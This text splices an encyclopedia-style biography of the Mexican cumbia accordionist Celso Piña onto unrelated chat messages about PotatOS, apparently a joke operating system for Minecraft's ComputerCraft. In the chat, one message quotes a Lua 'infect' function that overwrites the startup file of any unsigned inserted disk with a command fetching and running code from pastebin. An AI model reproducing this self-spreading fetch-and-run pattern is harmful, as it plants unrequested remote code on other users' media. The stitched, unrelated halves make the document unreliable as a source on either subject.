Early life

Celso Piña Arvizu was born on April 6, 1953, in Monterrey, Nuevo León, Mexico.[2]

Career
Fusion Festival 2012 Germany.

Piña started playing music in his hometown with his brothers Eduardo, Rubén and Enrique. They formed a band called Celso Piña y su Ronda Bogotá[3] and together they would go to several homes and perform for local citizens, especially teenage girls from their neighborhood.

In 1980, Celso Piña bought his first accordion and was introduced to the world of musica norteña. He spent numerous hours of practice and work in the popular district of La Colonia Independencia, south of Monterrey. Having lived for a majority of his life there, he titled one of his songs Mi colonia Independencia, which is located at the heavily populated area of Cerro de la Campana, near of the downtown in Monterrey.

Piña's group decided to change their musical rhythm to encompass a more tropical style during the mid-1980s after having seen Aníbal Velásquez and Alfredo Gutiérrez in concert at "Baile de las Cintas (reproducción de música mediante cintas)". The group decided to switch into the genre of cumbia, and became what today is Celso Piña y su Ronda Bogotá.

Piña taught himself how to play the accordion with no formal training. As a result, he was able to create the unique sound he is well known for. His most popular songs include, La quebradita de la paz, El tren, Como el viento and La piragua by José Barros. He was featured in the song Sufran con lo que yo gozo along with Mexican singer Gloria Trevi.

Celso had several successful international tours that included countries as Germany, Spain, Portugal, Denmark, Sweden, Czech Republic, Italy, France, Switzerland, Morocco, Colombia, Nicaragua, Guatemala, Argentina, Chile, Canada and the United States. Celso Piña received a Latin Grammy nomination for Best Contemporary Tropical Album in 2002 for Barrio Bravo.[4]

On August 21, 2019, Piña died from a heart attack in Monterrey, Mexico at the age of 66.[5]

Discography

gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?
gollark: <@151391317740486657> Only digitally signed ones are run unsandboxed. You cannot sign a disk without the private key or probably utterly impractical hackery.
gollark: Basically, any disk you make *will not be run unsandboxed* on a regular potatOS install.
